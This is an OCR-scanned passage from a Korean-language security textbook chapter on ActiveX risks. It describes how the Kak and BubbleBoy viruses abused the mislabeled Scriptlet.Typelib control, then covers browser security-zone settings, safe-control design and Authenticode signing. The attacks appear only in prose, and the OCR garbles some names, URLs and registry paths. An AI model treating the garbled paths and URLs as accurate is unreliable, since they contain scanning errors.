ActiveX 조종체들을 리 용과 관련한 기본위험은 Microsoft 가 제 안한 보안방법으로부 
터 제기되는것이다. Microsoft 는 ActiveX 조종체들을 수자적으로 서명하기 위한 믿음직 
한 코드기술을 리용하는것으로서 조종체들이 어데서부터 오는가와 조종체들이 창조된 때 
로부터 부당하게 변경되지 않았다는것을 사용자들에게 담보한다고 한다. 대부분의 경우 
들에 는 이것 이 사실 이 지 만 그렇 지 못한 경 우들도 많으며 이것은 개별적 인 콤퓨터 나 망의 
보안에 대하여 심중한 위협으로 된다. 우선 가장 명백한 위협은 Microsoft 가 조종체들 
이 국부를퓨터에 설치된후 그의 호출을 제한하지 못하도록 하였다는것이다. 이것은 
ActiveX 와 Java 사이의 중요한 차이점 이다. Java 는 Sandboxing 방법을 리용하고 있다. 
Java 애플레트의 Sandbox 에 의해 응용프로그람은 자기의 보호령역에서 실행되며 다른 
파일체 계 와 응용프로그람들과 갈은 다른것 들로부터 격 리된다는것 이 담보되 는데 이 것은 
조종체들을 가지고 할수 있는것들에 대하여 커다란 제한으로 된다. 또 다른 위협은 
ActiveX 조종체들이 그것 이 한 콤퓨터 에 설치된후 그것을 실행 하고 있는 사용자와 곡 같 
은 권한을 가진다는것이다. Microsoft 는 저자가 조종체를 리용할수 있는 사람인가 혹은 
목적하는 방법 으로나 목적하는 페 지 나 위 치 상에 서 리 용되 고 있 는가를 담보하지 못하고 
있다. Microsoft 는 또한 싸이트의 소유자나 그외의 그 누군가가 조종체가 배치된 때로 
부터 페지를 수정하지 않았다는것을 담보할수 없다. 이것은 ActiveX 조종체들을 리용하 
는것과 관련한 위험을 낳을수 있는 가장 큰 파괴위험성이다. 

실 례 로 개 발 자들은 Windows 스크립 트부분품들 (Windows Script 
Components : WSCs ) 에 대 한 형 태 서 고들 (Type Libraries ) 을 생 성 하기 위 해 Microsoft 
의 Scr 切 tlet.Typelib ActiveX 조종체를 리용한다. 이 조종체의 기능들중의 하나가 국부 
콤퓨터상에서 파일의 창조나 수정을 허용하는것이다. 이것은 믿을수 없는 프로그람들로 
부터 보호되 여 야 할 ActiveX 조종체 가라는것 은 명 백 하다. 

CERT 조 정 ( Coordination ) 쎈 터 ( CERTVCC ) 에 의 하 면 이 조 종 체 는 그 것 이 
Internet Explorer 의 4.0 이나 5.0 판본과 련결될 때 “safe for scripting (스크립트 
작성을 위해 안전) ” 이 라고 정 확치 않게 표식된다. 이것을 리용하여 해커는 사용자들 
이 어 떤 현상이 발생 하겠는지 를 모르고 이 조종체 를 호출하여 실 행하도록 하는 불량코 
드를 작성할수 있다. 잘 알려 진 Kak 와 Bubble Boy 비루스들이 바로 이 러한 파괴성 
을 산생 시킨다. 두가지 가 다 HTML 형 식 의 전자우편을 통하여 전송되 며 Windows 등 
록고와 다른 체 계파일 들에 영 향을 준다. Microsoft 회 사는 1999년 에 야 이 두 비 루스에 
대한 대책을 세웠다. 

Scriptlet.Typel 比)가 《safe for scripting ) 이라고 표시 되였기때문에 Internet 
Explorer , Outlook 와 Outlook Express 들의 기정보안설정은 그 어떤 보안경보도 발생 
하지 않고 이 조종체를 리용하게 한다. Kak 비루스는 이 약점을 리용하여 HTML 응용프 
로그람 ( HTA ) 파일을 Windows startup 등록부에 쓰게 한다. 그다음 Kak 는 다음번에 체 
계가 기동하거나 가입등록 ( login ) 할 때까지 기다려 다음번 기동이나 가입시에 작업에 진 
입 하며 목적 하는 위 험 이 발생 하게 한다. 

그러면 여러 파일들에 대한 쓰기와 수정이 진행되게 된다. 결국은 비루스를 포함하 
는 새로운 서명파일이 전송할 모든 통보문들과 접촉하게 된다(그림 9-1). 이것이 Kak 가 
자기를 전파시키는 방법이다. 
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그림 9-1. Microsoft Outlook Express 의 선택대화칸 


최종적인 공격은 매달 검사된 날과 시간마다 발생된다. 실례로 그 시간이 6:00 PM 
이든가 어떤 매달의 첫날이라고 하면 Kak 는 《Not Today 》 라는 대화칸을 표시한다(그 
림 9-2). 이 대화칸을 닫으면 Kak 는 Win 32 API 함수를 호출하는데 이 함수는 Windows 
를 완료 ( Shutdown ) 하게 한다. 이 코드는 매번 기동이 나 가입시에 실행하는 HTA 파일 
이기때문에 매 달 첫날의 6 :00 PM 이나 그후에 콤퓨터를 시동하면 재시동을 하게 하여 피 
롭히며 《Not Today ) 라는 통보문을 현시하고 Windows 를 완료하게 한다. 이로부터 파 
일 을 창조하거 나 수정하여 등록고에 기 입 함으로써 API 를 호출할수 있는 조종체 가 얼마 
나 위 험 한가를 알수 있다. 





Kagou-Anti-Kro$oft says not today ! 



그림 9-2. HTML 응용프로그람 대화칸 


1. 일반적인 ActiveX 취약성의 회피 

ActiveX 조종체들과 관련한 가장 일반적인 취약성들은 프로그람작성자의 지식이나 
그와 관련한 조종체의 능력과 중요하게 관련된다. 회사나 상담소들에서 작업하면서 정상 
업무를 위해 어떤 조종체를 작성하는 모든 프로그람작성자는 가능한 자기의 조종체들이 
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리용하기 쉬울것을 요구한다. 프로그람작성자는 리용하려고 하는 조종체들을 보고 좋다 
면 거기에 ( safe - for - scripting > 이라고 표식한다. 이것은 보안에 좋은 점도 주고 나쁜 
점도 준다. 거기 에 《 safe 》 를 표식하지 않으면 안전하게 서명되지 않았거 나 표식되지 
않은 코드들을 리용하는것때문에 제기될수 있는 위험으로 인한 경고나 통보문들이 많이 
발생할것 이 다. 열 람기의 보안설정 에 따라 전혀 그것 을 실행하게 하지 못할수도 있다(그 
림 9-3). 거기에 “ safe ” 로 표식하면 다른 응용프로그람들과 조종체들은 작성자의 승인 
에 대한 물음이 없이 조종체들을 실행할수 있는 능력을 가진다. 이 경우에 어떤 위험이 
발생할수 있는가를 보자. ActiveX 의 영 향과 관련한 좋은 실례는 잘 알려 지지 않은 
Windows Exploder (폭발물)조종체이다. 이것은 프레드 머클레인 (Fred McLain ) 에 의 
하여 작성된 교모한 작은 ActiveX 조종 체인데 그는 WWW , halcyon . 
com / mclain/ActiveX 에서 이것은《위험한》기술이라는것을 설명하였다. 이 조종체들 
이 하는일은 순수 Windows 체계의 완료 ( shutdown ) 와 전원끄기를 수행하는것 이 다. 이 
것이 나쁜것 같지 않고 틀리게 씌여 지지 않은것으로 보일수 있지만 그것은 확실히 교차 
점 (point across ) 이 생기게 한다. ActiveX 조종체들을 주의해야 한다. 자기가 만든 조 
종체들을 배포하기전에 그것들의 능력에 대하여 모두 알아야 한다. 



그림 9-3. Microsoft Internet Explorer 의 경고문 


프로그람작성자의 고찰의 부족으로부터 제기될수 있는 또 다른 문제는 잘못 사용되 
였으나 사용자특권준위의 우점은 가지는 조종체를 가질수 있다는것이 다. ActiveX 조종체 
를 특별하게 리용하려 하였다고 하여 다른 사람이 그 조종체를 달리 리용할수 없다는것 
은 아니다. 믿음직하지 못한 사람은 항상 있으며 개발에서 항상 창발적인 노력을 하여야 
한다. 실례로 이미 앞에서 고찰한 Scriptlet . Typelib 를 고찰하자. Microsoft 의 프로그 
람작성자들에게는 작성된 조종체가 WSCs 에 대한 형태서고 (Type Libraries ) 를 구축하 
는데는 좋지만 그 조종체가 HTA 파일을 작성하는메나 등록고를 변경하도록 하는데 리용 
될수 있다. 

ActiveX 조종체 에서 또 다른 일반적 인 취 약성은 오유를 포함하고 충분히 검사되지 
못한 판본들이 배포된다는것 이다. 흔히 C ++ 로 작성된 프로그람에서 보게 되는 한가지 
특정한 오유는 완충기 넘 침오유이다. 이것은 문자렬을 고정길이의 배 렬로 복사하여 문자 
렬이 배 렬보다 더 커질 때 발생한다. 결과 완충기넘 침이 발생하고 응용프로그람이 파괴 
될 가능성이 생긴다. 기회가 좋으면 사건의 구체적인 창문을 볼수 있다(그림 9-4). 완 
충기넘 침은 화면상에 요구되지 않는 문자를 현시하거 나 열 람기를 꺼버 러고 체계 에 열쇠 
를 걸게 ( lockup ) 한다. 이 러한 문제들은 해마다 UNIX / Linux 세계에서 애를 먹이고 있 
지만 최근에는 Windows 가동환경상에서도 더욱더 눈에 띄우게 나타나고 있다. 만일 
Microsoft TechNet ( www . Microsoft , com / tenhnet / security / current , asp ) 에 있 는 
IT 보안관련문제를 열람할수 있다면 달마다 발생하는 이 러한 형 태와 오유를 포함하는 
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문제들이 더욱더 많아 지고 있다는것을 알수 있다. 이것은 완전히 Microsoft 의 문제만 
이 아니라 Windows 가동환경의 코드를 쓰는 모든 판매자들에게도 영향을 준다. 이러한 
형래의 문제가 얼마나 많이 제기되는가 하는것은 닐 콜라워츠 (Neal Krawetz ) 가 
secure root Web (보안뿌리 ) 싸이 트 ( www . secureroot . com ) 상의 최 근보고에서 자기 가 
Web 열 람기 용의 shockwave Flash 접 속기 ( plug - in ) 에 서 완충기 넘 침 조건을 찾았다고 
발표한것 을 보아도 알수 있다. 그는《마이 크로매 체 (Macro Media ) 의 Web 페 지는 모 
든 Web 열 람기들의 90%가 접속기들을 설치할것을 요구한다. 이 많은 수자는 임의의 코 
드를 실행하는데 리 용될수 있기때 문에 모든 < Web >가능한 체 계 들의 90%를 타격하게 
된다.》고 하였다. 놀랍게 생각되지 않는가? 이것 이 가장 보편적 인 오유형태 이지만 해 
결책은 간단하다. 즉 입력하는 모든 문자렬에 대하여 그의 길이가 받아 들일수 있는 한 
계내에 있는가를 검사하는 부분의 코드를 첨부하면 되는데 이렇게 되면 검사하는데 좀 
시간이 들수 있다. 

또 다른 취 약성은 낡고 은퇴된 판본의 ActiveX 조종체들을 리용할 때 생긴다. 어떤 
것들은 일부 원인으로 하여 완전히 변화되거나 교체될수 있다. 어떤 다른 사람이 
ActiveX 조종체 작성자의 코드들을 복사한다면 그 작성자는 현재의 판본이 리용되겠는지 
특히 어떤 방법으로 리용되겠는지를 담보할수 없다. 



그림 9-4. Windows 오유사건의 상세 한 창문 


수명 이 다 된 조종체 들을 리용할 때 오유통보문이 발생 될수 있지 만 그것 은 여 전히 
작성 자의 이름이 기록되 여 있기때문에 많은 사람들은 어떻게 해서든지 그것을 설치할것 
이 다(그림 9-5). 유감스럽게도 ActiveX 조종체 에 대 한 봉사를 그만 둔 다음에 조종체들 
을 다른 사람이 리 용하는것 을 보안하는 방법 이 없 다. 조종체 를 서 명하여 배 포한후에 는 
그것이 해독적인 과제를 수행할수도 있는데 그렇게 되면 그것은 인터네트상의 모든 해커 
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들에게 즐거운 유희로 될것 이 다. 이 경우 가장 좋은 방위는 공격 이 다. 배포하기전에 검 
사를 거치면 조종체는 앞으로 안전하게 리용될수 있을것이다. 

사용자들에 따라 ActiveX 조종체작성자는 또한 공격자로도 될수 있다. 서명되지 않 
았거나 서명기간이 지난 조종체들은 설치하지 마시오. 해독적인 결과는 셀수없이 많다. 
Ac 仕 veX 조종체들이 설치된후에는 그것 이 사용자와 같은 권한을 가지고 사용자가 할수 
있는 과제 들을 곡같이 수행할수 있다. 이 조종체들은 전자우편과 접촉하는 처 리의 민감 
한 자료들을 전송하는것으로부터 delete 와 같은 멜지 령들을 호출하는 모든것을 수행 할수 
있다. 만일 서명되지 않았거 나 서명기한이 지난 조종체들을 설치하려고 한다면 이 러한 
위 험성들을 양보한다는것 을 담보하시 오. 



그림 9-5. 서명기간이 지났다는 보안경고문 


2. ActiveX 취약성영향의 축소 

ActiveX 취약성은 망관리자나 말단사용자，개발자들에게 있어서 다같이 심중한 문제 
로 된다. 일부 경우에 ActiveX 조종체들을 잘못 쓰거나 잘못 관리하면 그 후과는 파괴적 
이며 또 다른 경우들은 예측할수 없다. 모든 조종체들과 스크립트들의 리용을 허용하지 
않는 방법들을 여러 곳에 놓고 리용할수 있지만 그것은 개별적인 기대준위에서만 수행되 
여야 하며 실행과 유지관리에 많은 시간과 품을 들이게 된다. 특히 이것은 열람기설정들 
이 어떻게 변하는가에 대해 더 잘 아는 사용자들의 경우에 더 적합하다. 다른 방법은 방 
화벽 이 나 비루스보호프로그람과 갈은것들을 써서 Ac 社 veX 조종체들의 호출을 제 한할수 
있지만 능률이 떨어 진다. Ac 出 veX 취약성의 침입으로부터 완전한 보호가 어렵거나 지어 
그것을 달성할수 없다고 하여도 모든 준위의 사용자들은 위험을 줄일수 있는 여러가지 
문제들을 리용할수 있다. 

1) 망준위에서의 보호 

망관리자인 경우에는 먼저 망조작체계를 리용하여 여 러가지 보안설정을 할수 있다. 
그 방법들은 다음과 갈다. 


272 










• 우선 조종체 의 리 용을 제 한할수 있 는 보안지 역 (Security Zone ) 을 설 정 하거 나 보 
안소케 트층 ( SSL ) 규약들을 설 치하여 리 용하는 방법 

• ActiveX 조종체 들을 내 리 적 재 할 때 어 디 에 하겠 는가를 조종하는 체 계 등록고의 
CodeBaseSearchPa 比 i ( 코드토대탐색 경 로)를 호출하는 방법 

• 또 한 Internet Explorer 관 리 자 도 구 (Internet Exploror Administration Kit : 
IEAK ) 에서 ActiveX 조종체들을 정의 하고 동적으로 관리하는 방법 

이러한 방법들은 대단히 중요한것이지만 이와 함께 방화벽도 리용하는것이 좋다. 어 
떤 방화벽들은 ActiveX 조종체 들을 감시 하고 선택 적 으로 려 과하여 내 리적재할수 있지 만 
어 떤 방화벽 들은 그렇 지 못하기때 문에 방화벽 의 선택 에 주의 를 돌려야 한다. 

2) 의뢰기준위에서의 보호 

말단사용자로서 가장 중요한것은 모든 부분품들이 설치된 OS 와 비루스검출프로그람 
을 가지 고 있는것 이 다. 가장 최 신판의 보안덧대 기 들과 비 루스적 발프로그람들을 내 리적재 
하고 설 치 하는것 이 중요하다. 관리 자들과 말단사용자들은 Internet Explorer , Outlook 
와 Outlook Express 에서 보안령 역을 설정 하여 보안할수도 있다. 이것은 가능성 이 큰 
가치 있는 보안도구이다. 

보안지역설정 

보안지 역 을 잘 설 정 하면 ActiveX 조종체 에 대 한 취 약성 을 줄일 수 있 다. 보안지역 에 
는 5가지 가 있 다. 즉 Local Intranet Zone (국부인 트라네 트지 역 )， Trusted Site 
Zone ( 신 용 할수 있 는 싸 이 트지 역 ), Restricted Site Zone (제 한된 싸 이 트지 역 )， 
Internet Zone ( 인 터 네 트지 역 )， My Computer Zone ( 나의 콤 퓨 터 지 역 ) 이 다 . 마지 막 
My Computer Zone 은 열람기대면을 통해서가 아니라 IEAK 를 통해서만 리용할수 있다. 
만일 IEAK 을 호출할수 없 다면 [ HKEY _ CURRENT _ USER \ Software 、 Microsoft \ 
Windows ' Cur rent V ersion \ Iinternet Settings 、 Zones ] 등록고열쇠 (registery key ) 
를 씨서 보안지역설정을 할수 있다. 

이 열쇠에 대한 적당한 설정을 표 9-1 에 보여 주었다. 


Internet Exploror , Outlook 와 


표 9-1. Outlook Express 에서 보안지역설정 


등록열쇠설정 

보안지 역 

0 

My Computer Zone 

1 

Local Intranet Zone 

2 

TrustedSite Zone 

3 

Internet Zone 

4 

Restricted SiteZone 
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다음의 단계들은 Intenet Explorer 5. x 에서 보안지역설정을 수정하기 위한 절차이다. 

To 이안내 에서 Internet Option 을 선택 하시 오. 그러 면 Internet Option 대 화칸이 
표시된다. 

資) Security 표쪽를 선 택 하시 오 . 보 안선 택 판이 표시 된 다 . 

③ 변 화시 키 려 는 지 역 을 선 택 하시 오 . 대 부분의 사용자들에 대 해 서 는 Internet 
Zone (인 터네 트지역 ) 이 선택 되 여 야 하지 만 정 황에 따라 국부인트라네 트지역 에 
대해서도 이 과정을 반복할 필요가 있다. 

建) Custom Level 표쪽를 찰칵하시 오. Security Settings 판이 표시된다. 

⑤ 요구하는 보안준위에 대하여 다음의 설정중에서 하나 혹은 여러개를 변화시키시오. 

• 승인된 관리 자들에 대 하여서는 Run ActiveX control and plug - ins 항목 
에 서 disable 이 나 prompt 를 설 정하시 오 . 

• Script ActiveX controls marked safe for scripting 에 서 disable 이 나 
prompt 를 설 정 하시 오 . 

⑥ 이러한 변화들을 접수하면 OK 를 찰칵하시오. 이러한 변화를 확인하는 대화칸이 
표시된다. 

邊) OK 를 찰칵하시오. 

⑧ 인터네트설정대화칸을 OK 를 찰칵하여 설정내용을 보관한다. 

말단사용자들은 ActiveX 조종체 를 내 리 적재하거 나 실행할것 을 재 촉할 때 극히 주의 
하여야 한다. 또한 자주 리용하는 전자우편응용프로그람에서 ActiveX 조종체들과 다른 
스크립트언어들을 쓸수 없게 하였는가를 확인하여야 한다. 많은 사람들은 Microsoft 전 
자우편응용프로그람을 리 용하지 않으면 안전하다고 생 각한다. 그러 나 전자우편의뢰기 가 
HTML 페지를 표시할수 있으면 Outlook Express 를 리용할 때처 럼 공격자가 Eud 아 * a 와 
같은것 을 써 서 파괴 하기 쉽 다. Netscape 열 람기 들을 리 용할 때 는 ActiveX 보안위 협 들에 
대 하여 거의나 안전할것 이 다. 판본 6이전의 Netscape 열 람기 로 ActiveX 를 리용하도록 
하기 위 하여 서 는 제3부류의 접 속기 ( plug - in ) 를 설 치 하여 야 한다. Netscape 에 서 지 원되 
는 ActiveX 용의 가장 잘 알려 진 접속기는 Script Active 라고 불리 우는데 그것은 
Ncompass 로 작성 되 였 다(그런 데 Ncompass 는 이 러 한 접 속기 나 Netscape 열 람기 를 지 원 
하지 않는다). 새로운 Gecko 엔진을 가진 Netscape 6에서는 표준접속기나 지지대 
( support ) 가 없다. 그러나 진척중인 여러 개발대상과제 ( project ) 들은 Netscape 에서 
ActiveX 를 위한 새로운 접속기들을 창조하게 하거나 직접 API 를 지원하도록 되여 있다. 

개발자는 가장 중요한 책임을 지게 된다. 즉 ActiveX 취약성을 막아야 할 제일선에 
있게 된다. 현재는 자기의 쏘프트웨어를 보안하는데 리용할수 있는 도구들만 본다. 항상 
이동코드를 쓰는것과 관련하여 초래되는 위험들을 고려 하여 야 한다. 또한 훌륭한 쏘프트 
웨 어 공학경 험 을 배 우고 일 반적 인 코드작성 문제 와 개 발된 코드작성 오유들을 피할수 있게 
주의 해 야 한다. 그러 나 가장 중요것은 판단을 잘하여 검사하고 검사하고 또 검사하는것 
이 다. ActiveX 조종체 작성 자들은 거기 에 수표하여 배포한후에는 그것 이 상당한 유희로 
된다는것을 명심해야 한다. 누구나 그것을 리용할수 있다. 그러므로 될수 있는 한 
ActiveX 조종체를 가장 안전하게 작성하였다는것을 확인하여야 한다. 

해커들은 보통 겉보기에는 안전한 련결부를 사용자가 찰칵하도록 하거나 《In 
response to your comments 》 과 같은 표제를 가진 전자우편을 열게 하는 방법으로 사 
탐들을 속인다. 
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제 2 절. 안전한 ActiveX 조종제를 작성하는 방법론 


안전한 ActiveX 조종체들을 어떻게 작성하는가? 첫 단계는 좋은 판단력과 일반적인 
감각을 리용하는것이다. 사용자들은 조종체에 대하여 그것이 어떻게 작업하고 그의 능력 
이 무엇인가 하는 모든것을 알고 있어야 한다. 흘륭한 쏘프트웨어공학관례들과 설계기술 
들을 따르면 ActiveX 조종체 들을 안전하게 작성할수 있 다. 

• 조종체들을 철저히 문서화하도록 한다. 이것은 사용자들은 물론 관리자들이 
조종체를 리용할 때 있을수 있는 위 험을 고려할수 있게 한다. 

• 조종체 가 자기의 과제를 수행하는데 요구되는 최적 인 기능을 가지도록 설계 
하여야 한다. 그렇지 못한 기능들은 침입에 리용될수 있다. 

• 완충기넘침과 입구유효성오유와 갈은 일반적인 오유를 피하도록 하는데 특별 
한 관심 을 돌려야 한다. 

• 객체안전설정을 정확히 리용하여 ActiveX 조종체들을 어떻게 잘 보안하는가 
를 배워야 한다. 

객제안전설정 

객체 안전은 두가지 형 태가 있다. 즉 《safe for initial 位 ation (초기화를 위 한 안 
전)》과 《 safe for scripting (스크립트 작성을 위한 안전)》이 있 다. 《 safe for 
initialization 》 은 조종체가 임의의 접수가능한 변수들을 넘겨받는것 이 안전하다는것 이 
고 《safe for scripting 》 은 조종체 가 그의 속성，메 쏘드， 사건들을 리용하는것 이 안전 
하다는것이다. 이것을 알고 자기의 조종체들을 철저히 검사하여 불안전한 과제들을 실행 
하지 않는가를 확인하여 야 한다. 불안전성 에 대한 고찰의 실례 로는 파일의 창조나 삭제 , 
통과암호의 로출，사용자개인정보의 보기， SQL 의 전송들이 속한다. Microsoft 의 
《 ActiveX 조종체 안전검사목록》이 현실성 이 없다 해도 좋은 판단과 일반적 인 감각은 승 
낙을 결정하는데 많은 도움을 줄것이다. 조종체가 아래의것들가운데서 임의의것을 위반 
하였 다면 그것 을 안전하다고 표시하지 말아야 한다. 

• 국부콤퓨터 나 사용자에 대 한 정 보의 호출 

• 국부콤퓨터나 망에서 비밀정보의 로출 

• 국부콤퓨터 나 망우에서 정보의 수정 이 나 파피 

• 조종체가 부족점이 있어 열람기가 폭주하는것 

• 시간이나 기억기와 같은 자원들의 초과소비 

• 실행하고 있는 파일들을 포함한 위험한 체계호출의 실행 

• 믿을수 없는 방법 으로 조종체 를 리 용하여 기 대할수 없는 후과를 초래하는것 
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제 3 절. ActiveX 조종제의 보안 


당신이 누구를 믿는가 혹은 외부에서 누가 당신을 믿을수 있는가? 

이것은 ActiveX 조종체들을 공개할 때 제 기되 여 야 하는 질문이 다. 작성 한 조종체를 
인터네트상에서 리용하는가 혹은 어떤 단체의 인트라네트상에서 리용하려고 하는가에 관 
계없이 누구나 자기의 조종체를 설치하기 쉽고 사용자들이 작성 자와 작성자의 조종체를 
믿게 되기를 바랄것이다. 이러한 믿음을 주게 하는데 리용되는 방법이 조종체서명이다. 


도구와 함정... 

I 모든 편리한 도구들 (All the Right Tools) 

자기의 ActiveX 조종체 들을 서 명하려 면 그를 위 한 편리 한 도구들이 요구될것 이 
다. 물론 코드서명증명서 가 요구될것 이며 코드서명증명서 를 리용하기 위 해서 는 
Microsoft 의 ActiveX 쏘 프 트 웨 어 개 발 도 구 (ActiveX SDK ) 가 필 요 할 것 이 다 . 
ActiveX SDK 는 서 명 하고 카비 네 트 ( CAB ) 파일들을 검 사하기 위 해 필 요한 편의 봉 
사프로그람모임 이 다. 

ActiveX SDK 의 기 본부분품들은 makecert . exe , cert 2 spc . exe ， signcode . exe 
와 checktmst . exe 이다. 이러한 도구들은 모두 앞으로 Microsoft.NET Frame 
work 에 생겨 날 부분이다. 

• 증명 서 만들기 편의 봉사프로그람 ( makecert . exe ) 은 검 사목적 에 만 리 용되 는 
X . 509증명서 를 생성한다. 또한 수자서명 을 위한 공개열쇠 와 비공개열쇠쌍 
도 만들어 낸다. 

• 쏘프트웨 어 공개 자증명 서 검 사편의 봉사프로그람 ( Cer 2 spc . exe ) 은 한개 혹은 
그이상의 X .509 증명서 로부터 쏘프트웨 어 공개 자의 증명 서 를 창조한다. 이 
것은 검사의 목적에만 리용된다. 

• 파일서명편의봉사프로그람 ( signcode . exe ) 은 자기들의 부분품상의 보안제 
한에 서 개 발자들에 게 더 자세한 조종체 들을 줄수 있게하는 류동가능한 실 
행 ( PE ) 파일을 서명하는데 리용된다. 부분품들은 개별적으로나 전체적으로 
모두 서 명할수 있다. 만일 서 명 코드가 그 어떤 선택 도 없이 실행된다면 서 
명과정을 돕기 위해 수자서명위자드가 동작한다. 

• 증명 서 인증편의 봉사프로그람 ( chktrust . exe ) 은 인증코드서 명 파일의 유효성 
을 검 사한다. 하쉬법 에 의한 계 산이 일 치하면 chktrust 는 서 명 증명 서 를 
증명한것으로 된다. 

이러한 도구들의 방조로 아무 때나 ActiveX 조종체들을 서명하여 배포할수 있다. 
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1. 조종제서명 

조종체 를 서 명 하려 면 증명 서 발급기 관 (Certificate Au 仕 lority:CA) 으로부터 코드서 
명 용수자증명서 나 ID 를 받아야 한다(그림 9-6). ActiveX 조종체들을 서명 하는것과 관련 
한 CA 에는 VeriSign (WWW.verisign. com) 과 Thawte (www. Thawte, com) 가 있 다. 
두가지 가 다 가동환경개 발작업을 마치는것과 관련한 자기들의 증명서작성을 위한 각이한 
판본들을 제공한다. 실례로 Microsoft Authenticode, Netscape Object, Microsoft 
Office 2000, VBA, Marimba, Macromedia Shockwave, Apple 등을 위 한 각이 한 증 
명서가 있다. VeriSign 과 달리 Thawte 는 Java 를 제외하고 리용할수있는 모든 플래트 
홈으로부터의 코드를 서명하는데 필요한 다목적증명서를 제공한다. 현재도 Thwate 는 
Java2 Plugin Developer Certificates 이 그 이외의 코드서명가동환경과 여전히 관계 없 
기 때 문 에 Java 에 대 한 증 명 서 를 따 로 구 입 해 야 할 필 요 가 제 기 된 다 . 그 러 나 
Navigator/JVM l.lx 용 Java 애 플레 트만 서 명하려 면 다목적 증명 서 가 좋을것 이 다. 



그림 9-6. 코드서명 ID 를 보여 주는 보안경고문 


VeriSign 에 는 시 간확정 (timestamping) 봉사기를 호출하는 한가지 선택 이 있다. 수 
자증명 서 가 한해 만 유효하기 때 문에 수자증명 서 를 재 생 할 때 마다 코드를 재 서 명 하여 야 한 
다고 생각할수 있다. 다행히 코드를 서명할 때 코드를 시간확정하는 경우에는 례외로 된 
다. Verisign 은 낡은 코드를 유지 관리하는데 필 요한 자유시 간확정 봉사기 를 제 공하기 때 
문에 서명한 코드를 오래 실행되도록 하는데 이것은 품을 적게 들일수 있게 한다. 한가 
지 례외가 있다. Netscape 는 시간확정을 지원하지 못하기때문에 Netscape 코드를 해마 
다 재서명하여야 한다. 

두가지 ◦쇼들은 Cadillac 와 Cheverolet 와 같은 종류의 자기자체의 개성적인 
(posi 仕 ve) 특징 점 (points) 들을 가진 일 반적 형 태 로 된 동일 한 제 품을 제 공한다. 두가지 가 
다 좋은 제품들인데 하나는 아주 편리하고 다른 하나는 몇개의 종과 경보기가 달려 있다. 
그 러 나 둘 다 요 구 하 는 대 로 해 줄 것 이 다 . 가 장 대 중 화 된 유 럽 의 ◦쇼 에 는 
GlobalSign (www. globalsign. net) 와 T rustWise (www. trust wise, com) 이 있 다. 
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그럼 이러한 수자증명서를 얻으러면 무엇을 어떻게 해야 하는가? 이 장은 ActiveX 
조종체에 대한 장이기 때문에 Microsoft 가동환경과 Microsoft 인증코드를 위 한 코드서 명 
에 대 하여서만 본다. 


勢 


설명 


Thawte 와 VeriSign 은 서 로 다른 생산선을 가진 독립적 인 회사처 럼 보이지만 
VeriSign 회사는 1999 년 2 월에 Thawte 회사를 흡수하였다. 


2. Microsoft 인증3드를 리용 

Microsoft 의 인증코드란 무엇이고 그것으로 무엇을 할수 있는가. 인증코드는 사람 
들을 믿을수 있게 하는 Microsoft 의 방법 이다. 수자증명서를 가지면 자기의 코드에 서 
명할수 있다. 수자증명서 가 없 다면 쏘프트웨어 의 공개 자가 결정 되 지 않았다는 오유통보 
문이 발생 할것이다(그림 9-7). 수자증명서에는 조종체에 대한 정보，공개자의 신분 
(ID) 과 접촉정보，서명권한，조종체가 서명된 시간과 날자가 있다. 이것은 알려 진 生 
프트웨어 공개 자나 개 별적 인 사람이 이것을 공개하였다는것과 그것 이 공개된 때 로부터 
부당하게 변경 되 지 않았다는것 을 사용자들에 게 담보한다. 



그림 9-7. 인증코드보안경고문 


Microsoft 의 인증코드를 어떻게 러용하는가? 자기 조종체 에 서명하면 인증코드를 
리 용하고 실행할수 있게 된다. 실제 의 서 명 부분은 아주 단순하다. 자기 조종체 를 완료 
하고 필요에 따라 그것을 CAB 파일로 묶으면 서명할 준비 가 끝나게 된다. 조종체를 
서명하려면 Microsoft 의 서명코드편의프로그람을 리용한다. 이 과정은 다음의 단계를 
거친 다. 
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■① signcode . exe 을 마우스로 한번 찰칵하여 수자서명위 자드(그림 9-8) 를 펼친다. 

後) 서명 하려는 파일을 선택 한다. 그것은 임의의 실행 가능한 파일 (. exe ，. ocx , . dll ) 
일수 있 다. 또한 CAB 파일들, 카다로그파일 ( CAT ), 증명 서신용목록파일 ( CTL ) 
들일수 있다. 

■■變 파일을 선택한 다음 Typical 이나 Custom 서명선택항목을 선택한다. 만일 CA 로부 
터 접수한 수자 ID 와 통과암호를 리용하려 한다면 Custom 을 선택하시오. 

④ 그다음 증명 서 파일 (. cer , . crt , . spc ) 을 선택 하시 오. 

⑤ 그다음 비 공개 열쇠 파일 ( PVK ) 을 제 공할 펼요가 있 다. 이 때 통과암호를 달라고 한 
다. 이 렇게 되지 않는다면 또 다른 증명서를 발행하여 야 한다. 이 러 한것은 아주 
보편적인 문제 이기때문에 ◦쇼의 두 기관들로부터 증명서의 재발행은 자유이다. 

⑩ 다음 서 명 하는데 리 용되 는 하쉬 ( hash ) 알고리 듬을 선택 하여 야 한다. 그때 필요되 
는 임의의 증명서를 추가할수 있다. 

貧) 다음단계는 자료서술 (Data Descrip 吐 on ) 이 다. 이 단계는 매우 중요하다. 

이것은 사람들이 작성 자의 조종체를 설치할 때 사용자들에게 표시되는 조종체서 
술정 보이 다. 

⑧ 다음 날자확정을 한다. 자기의 증명서가 기간이 지난 다음에도 조종체들을 사용 
할수 있게 하기 위하여 시간확정을 추가할수도 있다. 만일 VeriSign 증명서를 리 
용 하고 있다면 거기에 있는 시간확정 (仕 mestamp ) 봉사기를 리용할수 있을것이다. 
그렇지 않다면 다른 봉사로부터 그것을 제공할 필요가 있을것 이 다. 

⑨ 다음 선택된 내용이 요약되여 현시된다. 동의한다면 Finish 를 찰칵하고 증명서통 
과암호를 다시 입력시켜 성공하면 ActiveX 조종체의 서명이 끝난다. 



그림 9-8. 수자서명위자드 


위자드들을 좋아 하지 않는 사람들에 대해서는 지령재촉상태에서 signcode . exe 를 
실행시킬수 있다. 요구되는 모든것들은 지령선파라메터들을 적당히 주어 진행할수 있는 
데 결과는 득 같다. 

그러나 이에 앞서 취급되여 야 할 중요한 문제가 있다. 코드에 서명하기전에 조종체 
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가 어떻게 표식되는가를 알아야 한다. 

3. 조종제의 표식 

조종체 는 안전상태 로 표식하는데 두가지 서 로 다른 방법 이 있다. 즉 Package 
and Deployment 위 자드로《 안전》을 설 정 하는것 이 고 (혹은 Windows 등록고를 리 용) 
다른 하나는 IObject Safety 대면부를 실행 하는것 이 다. 먼저 더 쉬운 첫번째 방법을 
취급하자. 

1) Safety Settings 을 리용한 조종제의 표식 

